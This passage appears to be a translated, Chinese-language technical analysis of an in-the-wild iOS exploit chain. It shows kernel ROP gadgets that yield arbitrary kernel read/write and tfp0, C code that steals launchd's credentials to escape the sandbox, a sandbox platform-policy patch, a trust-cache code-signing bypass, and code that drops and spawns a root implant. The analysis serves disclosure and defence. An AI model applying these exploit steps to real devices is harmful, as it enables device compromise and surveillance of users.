B.LS  loc_FFFFFFF0064BFD94     ; not taken
LDR   X8, [X19,#0x120]         ; x8 := &this+0x1f8
LDR   X0, [X8,W22,UXTW#3]      ; x0 := &this+0x1b0
CBZ   X0, loc_FFFFFFF0064BFD94 ; not taken
BL    sub_FFFFFFF0064BA758

执行在这里继续:

sub_FFFFFFF0064BA758
LDR   X0, [X0,#0x40]           ; X0 := *this+0x1f0 = &this+0x1a0
LDR   X8, [X0]                 ; X8 := this
LDR   X1, [X8,#0x1E8]          ; X1 := kernel_base + offsets_9
BR    X1                   ; jump to offsets_9 gadget

最初将会在offsets_9获得任意内核PC控制,使用的小工具如下:

LDR   X2, [X8,#0xA8]           ; X2 := kernel_base + offsets_10
LDR   X1, [X0,#0x40]           ; X1 := *(this+0x1e0)
                               ; The value at that address is a pointer
                               ; to 0x58 bytes below the kernel task port
                               ; pointer inside the kernel task structure
BR    X2                   ; jump to offsets_10 gadget

该过程会将新的受控值加载到X1,然后跳转到offsets_10的小工具。

OSSerializer::serialize如下:

MOV   X8, X1             ; address of pointer to kernel_task_port-0x58
LDP   X1, X3, [X0,#0x18] ; X1 := *(this+0x1b8) == &task->itk_seatbelt
                         ; X3 := *(this+0x1c0) == kbase + offsets_11
LDR   X9, [X0,#0x10]     ; ignored
MOV   X0, X9
MOV   X2, X8             ; address of pointer to kernel_task_port-0x58
BR    X3             ; jump to offsets_11 gadget

offsets_11 is then a pointer to this gadget:


LDR   X8, [X8,#0x58] ; X8:= kernel_task_port
                     ; that's an arbitrary read
MOV   W0, #0
STR   X8, [X1]       ; task->itk_seatbelt := kernel_task_port
                     ; that's the arbitrary write
RET                  ; all done!

这个小工具将读取存储在X8中的地址加上0x58的值,并将其写入存储在X1中的地址。之前的小工具完全控制了这两个寄存器,这意味着这个小工具使得能够从任意地址读取值,然后将该值写入任意地址。在漏洞利用中选择读取的地址是指向内核任务端口的指针,选择写入的地址指向当前任务的特殊端口数组。这种读写操作具有以下功能:通过调用以下任务,使当前任务能够获得对真实内核任务端口的发送权限:

  task_get_special_port(mach_task_self(), TASK_SEATBELT_PORT, &tfp0);

这就是漏洞利用接下来要做的,并且tfp0 mach端口会发送到真正的内核任务端口,允许通过任务端口MIG方法(例如:mach_vm_read和mach_vm_write)读取/写入任意内核内存。

 

如何处理内核任务端口?

使用allprocs偏移量来获取正在运行的进程的链表头部,然后遍历列表,通过PID查找两个进程:

void PE1_unsandbox() {
  char struct_proc[512] = {0};

  if (offset_allproc)
  {
    uint64_t launchd_ucred = 0;
    uint64_t our_struct_proc = 0;

    uint64_t allproc = kernel_runtime_base + offset_allproc;
    uint64_t proc = kread64(allproc);

    do {
      kread_overwrite(proc, struct_proc, 0x48);

      uint32_t pid = *(uint32_t*)(struct_proc + 0x10);

      if (pid == 1) { // launchd has pid 1
        launchd_ucred = *(_QWORD *)&struct_proc[0x100];
      }

      if ( getpid() == pid ) {
        our_struct_proc = proc;
      }

      if (our_struct_proc && launchd_ucred) {
        break;
      }

      proc = *(uint64_t*)(struct_proc+0x0);
      if (!proc) {
        break;
      }
    } while (proc != allproc && pid);

    // unsandbox themselves
    kwrite64(our_struct_proc + 0x100, launchd_ucred);
  }
}

漏洞利用在寻找launchd的proc结构和当前任务(WebContent,在Safari渲染器沙箱中运行)。从proc结构中,他们读取了pid以及ucred指针。

除了包含POSIX凭据(定义了uid、gid等)之外,ucred还包含指向MAC标签的指针,该标签用于定义应用于进程的沙箱。

使用内核内存写入,可以以launchd替换当前任务的ucreds指针。这具有将当前进程从沙箱中取出的效果,同时赋予其与launchd相同的系统访问权限。

在能够启动植入工具之前,还存在两个需要解决的问题:平台策略和代码签名。

 

平台策略

iOS上的每个进程都受到平台策略沙箱配置文件的限制,将会强行执行额外的“系统范围”沙箱。平台策略的字节码本身位于com.apple.security.sandbox.kext的__const区域,受到KPP或KTRR的保护。但是,指向平台策略字节码的指针驻留在通过IOMalloc分配的结构中,因此处于可写存储器中。攻击者制作平台策略字节码的完整副本,并用指向副本的指针替换堆分配结构中的指针。在副本中,他们修补了process-exec和process-exec-interpreter的挂钩,下面是将策略反编译后比较出的差异(使用sandblaster生成):

     (require-not (global-name "com.apple.PowerManagement.control"))
    (require-not (global-name "com.apple.FileCoordination"))
    (require-not (global-name "com.apple.FSEvents"))))
-   (deny process-exec*
-    (require-all
-     (require-all
       (require-not 
         (subpath "/private/var/run/com.apple.xpcproxy.RoleAccount.staging"))
-      (require-not (literal "/private/var/factory_mount/"))
-      (require-not (subpath "/private/var/containers/Bundle"))
-      (require-not (literal "/private/var/personalized_automation/"))
-      (require-not (literal "/private/var/personalized_factory/"))
-      (require-not (literal "/private/var/personalized_demo/"))
-      (require-not (literal "/private/var/personalized_debug/"))
-      (require-not (literal "/Developer/")))
-     (subpath "/private/var")
-     (require-not (debug-mode))))
-   (deny process-exec-interpreter
-    (require-all
-     (require-not (debug-mode))
-     (require-all (require-not (literal "/bin/sh"))
-      (require-not (literal "/bin/bash"))
-      (require-not (literal "/usr/bin/perl"))
-      (require-not (literal "/usr/local/bin/scripter"))
-      (require-not (literal "/usr/local/bin/luatrace"))
-      (require-not (literal "/usr/sbin/dtrace")))))
    (deny system-kext-query
     (require-not (require-entitlement "com.apple.private.kernel.get-kext-info")))
    (deny system-privilege

平台策略随着时间的推移而不断变化,平台策略字节码的补丁变得更加复杂,但基本思想保持不变。

 

代码签名绕过

越狱过程通常会通过更改amfid(Apple Mobile File Integrity Daemon)来绕过iOS的强制性代码签名,这是一个负责验证代码签名的用户空间守护程序。这种改变的早期形式的一个例子是修改amfid GOT,使得被调用以验证签名的函数(MISValidateSignature)被替换为总是返回0的函数。这样一来,所有签名都将被允许,甚至是那些无效的签名。

然而,还有一种方法,最近的越狱越来越多地使用了这种方法。内核还包含一组已知可信的哈希。这些是代码签名blob(也成为CDHashed)的哈希值,是默认被信任的。这种设计很有意义,因为这些哈希值将成为内核代码签名的一部分,因此仍然依赖于Apple根源可信。

对于内核内存读写的攻击者来说,这里的脆弱点在于该信任缓存数据结构是可变的。有时,会在运行时向其添加更多的哈希值。例如,如果我们进行应用程序开发,那么在iPhone上安装DeveloperDiskImage.dmg时会对其进行修改。在应用程序开发期间,在设备上运行的lldb-server等本机工具会将其代码签名blob哈希值添加到信任缓存中。

由于攻击者只希望执行其植入二进制文件,而不是禁用系统范围内的代码签名,因此只需将其植入代码签名blob的哈希值添加到内核动态信任缓存中即可,攻击者可以使用内核任务端口来实现。

 

运行植入工具

最后阶段是投放并派生植入二进制文件。攻击者将植入工具Mach-O写入/tmp目录下,然后调用posix_spawn来执行该工具:

  FILE* f = fopen("/tmp/updateserver", "w+");
  if (f) {
    fwrite(buf, 1, buf_size, f);
    fclose(f);
    chmod("/tmp/updateserver", 0755);
    pid_t pid = 0;
    char* argv[] = {"/tmp/updateserver", NULL};
    posix_spawn(&pid,
                "/tmp/updateserver",
                NULL,
                NULL,
                &argv,
                environ);
  }

接下来,将立即开始以root身份运行植入工具。植入工具将一直保持运行,直至设备重新启动为止,每隔60秒与命令和控制服务器进行一次通信,询问需要从设备中窃取那些类型的信息。我们将在后面的文章中介绍植入工具的完整功能。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多